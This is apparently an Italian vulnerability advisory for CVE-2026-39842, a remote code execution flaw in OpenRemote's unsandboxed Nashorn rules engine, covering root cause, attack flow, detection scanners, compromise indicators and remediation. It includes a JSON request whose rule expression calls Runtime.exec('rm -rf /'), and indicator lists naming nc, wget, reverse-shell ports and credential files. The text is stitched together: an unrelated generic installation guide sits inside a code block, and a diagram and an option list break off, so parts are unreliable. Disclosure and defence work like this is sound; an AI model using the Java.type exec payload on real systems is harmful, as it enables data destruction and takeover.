Internet / Network
                         |
                ┌────────┴────────┐
                v                 v
        ┌──────────────┐  ┌──────────────┐
        | Web Browser  |  | Mobile App   |
        └──────────────┘  └──────────────┘
                |                 |
                └────────┬────────┘
                         v
                ┌──────────────────┐
                | OpenRemote API   |
                | (REST/WebSocket) |
                └────────┬─────────┘
                         v
                ┌──────────────────┐
                | Manager Service  |
                |  (Port 8080)     |
                └────────┬─────────┘
                         |
    ┌────────────────────┼────────────────────┐
    |                    |                    |
    v                    v                    v

## Analisi Approfondita della Vulnerabilità

### Analisi della Causa Radice

La vulnerabilità deriva da due difetti critici nel Rules Engine di OpenRemote:

**Difetto 1: Motore JavaScript Nashorn non sandboxed**

Il motore JavaScript Nashorn di Java viene utilizzato per valutare le espressioni delle regole fornite dall'utente senza alcuna sandbox, security manager o restrizioni ClassFilter. Ciò consente agli aggressori di accedere direttamente alle classi Java dal contesto JavaScript.

**Difetto 2: Sandbox Groovy disabilitato**

Il motore di scripting Groovy aveva un GroovyDenyAllFilter registrato per prevenire l'esecuzione di codice, ma questa registrazione del filtro era stata commentata nel codebase. Solo l'applicazione delle regole Groovy esisteva a livello API (RulesResourceImpl.java:262), ma JavaScript non aveva alcuna restrizione.

### Percorsi di Codice Vulnerabili```
RulesResource.java (lines 153-158)
    |
    > POST request handler for rule creation
    |
    v
RulesetDeployment.java (line 368)
    |
    > scriptEngine.eval(ruleExpression)
    |
    v
Nashorn Engine
    |
    > No ClassFilter / SecurityManager
    > Java.type() accessible
    > Runtime.exec() available

Questo significa:
- Gli utenti non superuser POSSONO creare regole JavaScript (nessun blocco)
- Gli utenti non superuser NON POSSONO creare regole Groovy (bloccato)
- JavaScript non ha sandboxing, quindi lo sfruttamento è possibile per qualsiasi utente autenticato con write:rules

Inoltre, l'isolamento multi-tenant può essere aggirato tramite reflection su assetStorageService per accedere ai dati di altri realm.

### Flusso di attacco```
┌─────────────────────────────────────────────────────┐
| 1. Attacker authenticates with write:rules role     |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 2. POST /api/{realm}/rules/realm with JS expression|
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 3. Expression passes validation (no checks)         |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 4. RulesetDeployment.java calls scriptEngine.eval() |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 5. Nashorn Engine executes JavaScript payload      |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 6. Java.type("java.lang.Runtime") access granted   |
└─────────────────────────────────────────────────────┘
                         |
                         v
┌─────────────────────────────────────────────────────┐
| 7. Arbitrary command execution as root              |
└─────────────────────────────────────────────────────┘

**Passaggio 3: Invio all'endpoint vulnerabile**```
POST /api/{realm}/rules/realm HTTP/1.1
Content-Type: application/json

{
    "name": "malicious_rule",
    "enabled": true,
    "trigger": "timer",
    "actions": [
        {
            "type": "local_action",
            "target": "asset_id",
            "action": "perform_action",
            "value": "// Payload here"
        }
    ],
    "ruleExpression": "var runtime = Java.type('java.lang.Runtime').getRuntime(); runtime.exec('rm -rf /');"
}

#### Accesso al File System

Accesso completo in lettura e scrittura a tutti i file sul sistema:

- Divulgazione del codice sorgente dell'applicazione
- File di configurazione sensibili (password di database, chiavi API)
- File di sistema e credenziali
- File dei container Docker (se containerizzato)

#### Furto di Variabili d'Ambiente

Accesso alle variabili d'ambiente contenenti:
- Stringhe di connessione al database
- Chiavi API e token
- Segreti OAuth
- Chiavi di crittografia private
- Credenziali AWS/Cloud

#### Violazione dei Dati

Negli ambienti multi-tenant, gli attaccanti possono aggirare l'isolamento dei tenant tramite reflection:

- Accesso ai dati di tutti i tenant simultaneamente
- Lettura di dati IoT sensibili dei sensori
- Modifica delle regole di automazione tra organizzazioni
- Estrazione di business intelligence e informazioni proprietarie

#### Integrità del Sistema

- Installazione di backdoor permanenti
- Distribuzione di malware
- Esecuzione di ransomware
- Compromissione della supply chain (se utilizzato in sviluppo)

#### Interruzione del Servizio

- Denial of service tramite esaurimento delle risorse
- Cancellazione o corruzione del database
- Manomissione della configurazione
- Arresto o riavvio del sistema

---

## Versioni Interessate

| Versione | Stato | Note |
|---------|--------|-------|
| <= 1.15.0 | Vulnerabile | Vulnerabilità originale presente |
| 1.16.0 | Vulnerabile | Nessuna correzione applicata |
| 1.17.0 | Vulnerabile | Nessuna correzione applicata |
| 1.18.0 | Vulnerabile | Nessuna correzione applicata |
| 1.19.0 | Vulnerabile | Nessuna correzione applicata |
| 1.20.0 | Vulnerabile | Nessuna correzione applicata |
| 1.21.0 | Vulnerabile | Ultima versione interessata |
| 1.22.0+ | CORRETTA | Motore di regole JavaScript completamente rimosso |

### Dettagli sulle Versioni

- **Intervallo Vulnerabile**: dalla 1.0.0 alla 1.21.0 (tutte le versioni con motore di regole JS)
- **Versione Corretta**: 1.22.0 (motore di regole JavaScript completamente rimosso)
- **Backport**: Nessun backport di sicurezza disponibile per le versioni precedenti; è richiesto un aggiornamento

---

## Rilevamento

### Come Funziona

I meccanismi di rilevamento identificano le istanze OpenRemote e verificano lo stato di vulnerabilità tramite più metodi:

1. **Rilevamento del Banner HTTP**: Interroga l'endpoint root dell'API per identificare OpenRemote ed estrarre le informazioni sulla versione
2. **Fingerprinting degli Endpoint**: Testa gli endpoint vulnerabili per verificarne presenza e comportamento
3. **Correlazione delle Versioni**: Confronta la versione rilevata con gli intervalli di vulnerabilità noti
4. **Analisi delle Risposte**: Esamina i messaggi di errore e le strutture delle risposte per le firme di OpenRemote

### Scanner Python

Lo scanner `detect_openremote.py` esegue il rilevamento automatico e la valutazione della vulnerabilità.

#### Installazione```bash
python3 -m pip install requests

#### Opzioni

| Opzione | Breve | Lunga | Tipo | Descrizione |
|---------|-------|-------|------|-------------|
| Target | -t | --target | string | URL del singolo target (es., http://10.0.0.1:8080) |
| Lista | -l | --list | file | File contenente un elenco di target (uno per riga) |
| Output | -o | --output | file | Scrive i risultati in un file CSV |
| Verbose | -v | --verbose | flag | Abilita output dettagliato con risposte complete |
| Timeout | | --timeout | int | Timeout della richiesta HTTP in secondi (predefinito: 10) |
| Banner | | --no-banner | flag | Salta la stampa del banner |

#### Esempio: Target Singolo```bash
python3 detect_openremote.py --target http://10.0.0.1:8080 --verbose

#### Esempio: Più Obiettivi con Output```bash
python3 detect_openremote.py --list targets.txt --output results.csv --timeout 15

Ecco l'output atteso in `results.csv`:```
Target,Status,Version,Vulnerable,CVSS
http://192.168.1.100:8080,OpenRemote Detected,1.21.0,YES,10.0
http://192.168.1.101:8080,OpenRemote Detected,1.20.0,YES,10.0
https://openremote.example.com:8443,OpenRemote Detected,1.22.1,NO,-
http://10.20.30.40:8080,Not OpenRemote,-,-,-

[*] Target: http://10.0.0.1:8080
[*] Probing for OpenRemote...
[*] HTTP GET /
    Response Code: 200
    Server: Apache
    Content-Type: text/html
[*] Checking /api/info
    Response Code: 200
    Body: {"version":"1.21.0","name":"OpenRemote"}
[+] OpenRemote 1.21.0 identified
[+] Version 1.21.0 is vulnerable to CVE-2026-39842
[!] CVSS: 10.0 Critical
[!] RCE Confirmed: YES
```
### Script NSE per Nmap

Lo script `openremote-detect.nse` fornisce l'integrazione con Nmap per la scansione delle vulnerabilità.

#### Installazione```bash
cp openremote-detect.nse /usr/share/nmap/scripts/
nmap --script-updatedb
```
#### Utilizzo```bash
nmap -p 8080 --script openremote-detect <target>
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true <target>
```
#### Esempio: Scansione di base```bash
nmap -p 8080 --script openremote-detect 192.168.1.0/24
```
- **`-p, --port`** — Porta su cui ascoltare (predefinita: `8080`).
- **`-t, --threads`** — Numero di thread worker (predefinito: `4`).
- **`-v, --verbose`** — Abilita la registrazione dettagliata.
- **`-h, --help`** — Mostra il messaggio di aiuto ed esce.```
Nmap scan report for 192.168.1.100
Host is up (0.0042s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.21.0
|   Vulnerable: YES
|   CVE: CVE-2026-39842
|_  CVSS: 10.0 Critical

Nmap scan report for 192.168.1.101
Host is up (0.0031s latency).
8080/tcp open  http-proxy
| openremote-detect:
|   Status: OpenRemote Detected
|   Version: 1.22.1
|   Vulnerable: NO
|   Fixed Version: 1.22.0
|_  Status: Patched
```
#### Esempio: Scansione Verbosa```bash
nmap -p 8080 --script openremote-detect --script-args openremote-detect.verbose=true -oX results.xml 192.168.1.100
```
Output previsto dettagliato:```
| openremote-detect:
|   Host: 192.168.1.100:8080
|   Detection Method: HTTP Banner Analysis
|   Probe Endpoint: /api/info
|   Response Code: 200
|   Version: 1.21.0
|   Version Detected: YES
|   Vulnerable: YES
|   CVE-2026-39842: AFFECTED
|   CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|   CVSS Score: 10.0
|   Fix Available: YES
|   Fixed Version: 1.22.0
|   Authentication Required: YES
|   Endpoint Vulnerable: POST /api/{realm}/rules/realm
|_  Endpoint Vulnerable: POST /api/{realm}/rules/asset
```
### Verifica Manuale

Esegui controlli manuali utilizzando curl per verificare la vulnerabilità:

**1. Identificare la versione di OpenRemote**```bash
curl -s http://target:8080/api/info | jq .
```
```
# Guida all'installazione

## Requisiti

- Python 3.8 o superiore
- pip
- Git

## Installazione

### 1. Clonare il repository

```bash
git clone https://github.com/example/tool.git
cd tool
```

### 2. Installare le dipendenze

```bash
pip install -r requirements.txt
```

### 3. Configurare l'ambiente

Copia il file di configurazione di esempio e modificalo secondo le tue esigenze:

```bash
cp config.example.yml config.yml
```

## Utilizzo

Per avviare lo strumento, esegui:

```bash
python main.py --config config.yml
```

### Opzioni della riga di comando

| Opzione | Descrizione |
|---------|-------------|
| `--config` | Percorso del file di configurazione |
| `--verbose` | Abilita l'output dettagliato |
| `--output` | Directory di output per i risultati |

## Risoluzione dei problemi

### Errore: "ModuleNotFoundError"

Assicurati di aver installato tutte le dipendenze:

```bash
pip install -r requirements.txt
```

### Errore di permessi

Se riscontri problemi di permessi, prova a eseguire con `sudo` o utilizza un ambiente virtuale:

```bash
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
```

## Licenza

Questo progetto è distribuito sotto la licenza MIT. Consulta il file `LICENSE` per maggiori dettagli.
``````json
{
  "version": "1.21.0",
  "name": "OpenRemote",
  "instanceId": "instance-123"
}
```
**2. Controlla l'Endpoint delle Regole**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/master/rules/realm | head -20
```
Se restituisce 401 o 403, l'endpoint esiste ma richiede autenticazione.

**3. Autenticarsi e testare l'iniezione di espressioni**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "test_rule",
    "trigger": "timer",
    "ruleExpression": "1 + 1"
  }' \
  http://target:8080/api/master/rules/realm
```
Se la creazione riesce e la versione è <= 1.21.0, l'istanza è vulnerabile.

**4. Test dell'esecuzione di JavaScript (Proof of Concept)**```bash
curl -X POST \
  -H "Content-Type: application/json" \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{
    "name": "poc_rule",
    "trigger": "timer",
    "ruleExpression": "var x = 5; x * 2;"
  }' \
  http://target:8080/api/master/rules/realm
```
**5. Identificare il nome del Realm**```bash
curl -s -H "Authorization: Bearer TOKEN" \
  http://target:8080/api/admin/realms | jq .[].name
```
Common realm names: `master`, `default`, `main`

---

## Indicatori di Compromissione

### Indicatori nei Log

Cerca questi pattern nei log delle applicazioni:

**Creazione di Regole con Payload JavaScript**```
Pattern: POST /api/.*/rules/.* with JavaScript containing Java.type
Example Log: "2026-04-16 14:32:18 POST /api/master/rules/realm - RulesetDeployment evaluating expression with Java.type"
```
**Tentativi di esecuzione di comandi nelle regole**```
Pattern: "Java.type" or "java.lang.Runtime" or "exec(" in rule expressions
Example Log: "RulesetDeployment - Expression contains Runtime.getRuntime().exec()"
```
**Esecuzione imprevista di processi da Java**```
Pattern: Child processes spawned by OpenRemote Java process
Command: ps aux | grep -i openremote
Look for: bash, sh, curl, wget, nc spawned by java process
```
**Anomalie di Accesso al File System**```
Pattern: Unexpected file reads from application directory
Files to monitor:
- /opt/openremote/config/
- /opt/openremote/.env
- /root/.ssh/
- /etc/passwd
```
**Modelli di Accesso al Database**```
Pattern: SELECT queries accessing other realms' data
Anomaly: Queries from rules engine accessing cross-tenant data
Example: SELECT * FROM ASSET WHERE REALM_ID NOT IN (user_realm)
```
### Indicatori di Rete

**Connessioni in uscita dal processo OpenRemote**```
netstat -tlnp | grep -i java
Look for: Unexpected ESTABLISHED connections
Example: java process connecting to external C2 servers
```
**Callback di Reverse Shell**```
Pattern: Outbound TCP/UDP connections from port 8080 server
Destinations: Suspicious IPs, non-standard ports
Command: tcpdump -i any -n 'src host TARGET and (dst port 443 or dst port 4444 or dst port 9001)'
```
**Tentativi di Movimento Laterale**```
Pattern: Connections to internal resources (databases, APIs)
From: OpenRemote process
To: Database servers, internal APIs, SSH services
```
### Indicatori del File System

**File sospetti nella directory OpenRemote**```
/opt/openremote/.backdoor
/opt/openremote/shell.sh
/opt/openremote/config/stolen_data.txt
/var/tmp/openremote_exploit
/tmp/.java*
```
**Binari OpenRemote modificati**```
find /opt/openremote -type f -newer /opt/openremote/VERSION.txt
find /opt/openremote -name "*.jar" -exec sha256sum {} \; | compare with known hashes
```
**Processi Cron o di Persistenza**```
cat /etc/cron.d/* | grep openremote
cat /var/spool/cron/crontabs/* | grep -i java
cat ~/.bashrc ~/.bash_profile | grep -v '^#'
```
### Indicatori di memoria e di processo

**Variabili d'ambiente sospette**```
cat /proc/$(pgrep -f openremote | head -1)/environ | tr '\0' '\n' | grep -E 'REVERSE|SHELL|BACKDOOR'
```
**Payload residenti in memoria**```
strings /proc/$(pgrep -f openremote | head -1)/maps | grep -E 'bash|nc|/tmp'
```
---

## Remediation

### AZIONI IMMEDIATE (0-24 ore)

**1. Aggiornare alla Versione Corretta**

La correzione completa è disponibile solo in OpenRemote 1.22.0+, che rimuove completamente il motore di regole JavaScript.```bash
# Backup current installation
cp -r /opt/openremote /opt/openremote.backup.1.21.0
mysqldump -u root -p openremote > /backup/openremote_1.21.0.sql

# Download and install 1.22.0+
wget https://releases.openremote.io/openremote-1.22.0.tar.gz
tar -xzf openremote-1.22.0.tar.gz -C /opt/
systemctl restart openremote

# Verify version
curl -s http://localhost:8080/api/info | jq .version
```
**2. Limitare l'Accesso alle API**

Se un aggiornamento immediato non è possibile, limitare l'accesso agli endpoint vulnerabili a livello di firewall/proxy inverso:```nginx
# Nginx example
location ~ ^/api/.*/rules/ {
    return 403;
}
```
**3. Controlla le Regole Attive**

Elenca tutte le regole esistenti e verifica la presenza di JavaScript sospetto:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm | \
  jq '.[] | select(.ruleExpression | contains("Java.type") or contains("Runtime"))'
```
Delete any rules containing Java interop:```bash
curl -X DELETE \
  -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/master/rules/realm/{RULE_ID}
```
**4. Esaminare i log di accesso**

Verificare i tentativi di sfruttamento negli ultimi 30 giorni:```bash
grep -r "rules/realm\|rules/asset" /opt/openremote/logs/ | \
  grep -i "java\|runtime\|exec\|type"
```
**5. Rotazione delle Credenziali**

Ruota tutte le credenziali potenzialmente esposte:```
- OpenRemote admin passwords
- Database passwords
- API keys and tokens
- SSH keys if accessible
- Environment variable secrets
```
### AZIONI A BREVE TERMINE (1-7 giorni)

**1. Segmentazione della rete**

Limitare l'accesso all'API OpenRemote solo alle reti autorizzate:```
- Block external internet access to port 8080
- Implement VPN/SSO requirement for API access
- Use API gateway with authentication/authorization
```
**2. Audit dei Ruoli**

Rivedi e riduci al minimo gli utenti con il ruolo `write:rules`:```bash
curl -s -H "Authorization: Bearer ADMIN_TOKEN" \
  http://localhost:8080/api/admin/users | \
  jq '.[] | select(.roles | contains("write:rules"))'
```
Rimuovi il ruolo `write:rules` da tutti gli utenti non essenziali.

**3. Abilita la registrazione delle richieste**

Configura una registrazione dettagliata per tutte le richieste API:```yaml
# application.properties
logging.level.org.openremote.manager.rules=DEBUG
logging.level.org.openremote.manager.rules.RulesResource=TRACE
```
**4. Audit del Database**

Cerca nel database le regole dannose create dopo una data specifica:```sql
SELECT id, name, ruleset_def, created_on 
FROM RULE 
WHERE created_on > '2026-04-01' 
AND (
  ruleset_def LIKE '%Java.type%' 
  OR ruleset_def LIKE '%Runtime%'
  OR ruleset_def LIKE '%exec%'
);
```
**5. Threat Hunting**

Esegui scans complete di sicurezza sul server OpenRemote:```bash
# ClamAV malware scan
clamscan -r --remove /opt/openremote/

# Check for backdoors
chkrootkit
rkhunter --check --skip-warnings

# File integrity verification
aide --check
```
### AZIONI A LUNGO TERMINE (7-30 giorni)

**1. Completamento dell'hardening del sistema**

- Eseguire OpenRemote in un container con privilegi limitati (non-root)
- Implementare policy SELinux o AppArmor
- Utilizzare file system in sola lettura dove possibile
- Abilitare la registrazione di audit a livello di sistema

**2. Implementazione del controllo degli accessi**

- Implementare l'autenticazione multi-fattore per gli utenti amministratori
- Utilizzare OAuth2/OIDC per l'accesso alle API invece dell'autenticazione tramite token
- Implementare il principio del minimo privilegio per tutti i ruoli
- Revisioni e certificazioni periodiche degli accessi

**3. Sicurezza dell'applicazione**

- Implementare regole Web Application Firewall (WAF) per il motore delle regole
- Abilitare il rate limiting delle richieste sugli endpoint sensibili
- Implementare limiti sulla dimensione delle richieste
- Validare rigorosamente tutti gli input utente

**4. Monitoraggio e alerting**

Distribuire le regole di rilevamento SIEM:```
Alert on:
- Any POST to /api/*/rules/* endpoints with JavaScript content
- Java.type or Runtime in request body
- Multiple rule creation attempts in short time window
- Rule modification by non-admin users
- Unusual process spawning from OpenRemote JVM
```
**5. Piano di risposta agli incidenti**

Creare e testare le procedure di risposta agli incidenti:

- Passaggi di isolamento per le istanze OpenRemote compromesse
- Procedure di raccolta delle prove forensi
- Procedure di notifica per i clienti interessati
- Procedure di ripristino e pulizia
- Revisioni post-incidente

**6. Monitoraggio continuo**

Implementare un monitoraggio continuo della sicurezza:```bash
# Daily vulnerability scan
nmap -p 8080 --script openremote-detect \
  $(cat /etc/openremote/monitored_hosts.txt) \
  --script-args 'onerror=continue' \
  -oX /var/log/openremote-scan.xml

# Automated alerts for vulnerable versions
if version <= 1.21.0; then
    send_alert "CVE-2026-39842: Unpatched OpenRemote detected"
fi
```
---

## Riferimenti

- **Avviso ufficiale**: https://github.com/advisories/GHSA-7mqr-33rv-p3mp
- **Registro CVE**: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39842
- **Voce NVD**: https://nvd.nist.gov/vuln/detail/CVE-2026-39842
- **Repository OpenRemote**: https://github.com/openremote/openremote
- **Sicurezza OpenRemote**: https://openremote.io/security
- **CWE-94 Code Injection**: https://cwe.mitre.org/data/definitions/94.html
- **CWE-917 EL Injection**: https://cwe.mitre.org/data/definitions/917.html
- **Calcolatore CVSS**: https://www.first.org/cvss/calculator/3.1
- **Sicurezza Nashorn**: https://docs.oracle.com/javase/8/docs/technotes/guides/scripting/nashorn/api.html
- **Java SecurityManager**: https://docs.oracle.com/javase/8/docs/technotes/guides/security/permissions.html

---

## Autore

**Kerem Oruc**

Ricercatore di sicurezza, Divulgazione delle vulnerabilità

Per domande, segnalazioni o informazioni aggiuntive relative a questa vulnerabilità, contattare l'autore tramite i canali di divulgazione responsabile.

---

**Ultimo aggiornamento**: 2026-04-16
**Versione**: 1.0
**Stato**: Pubblico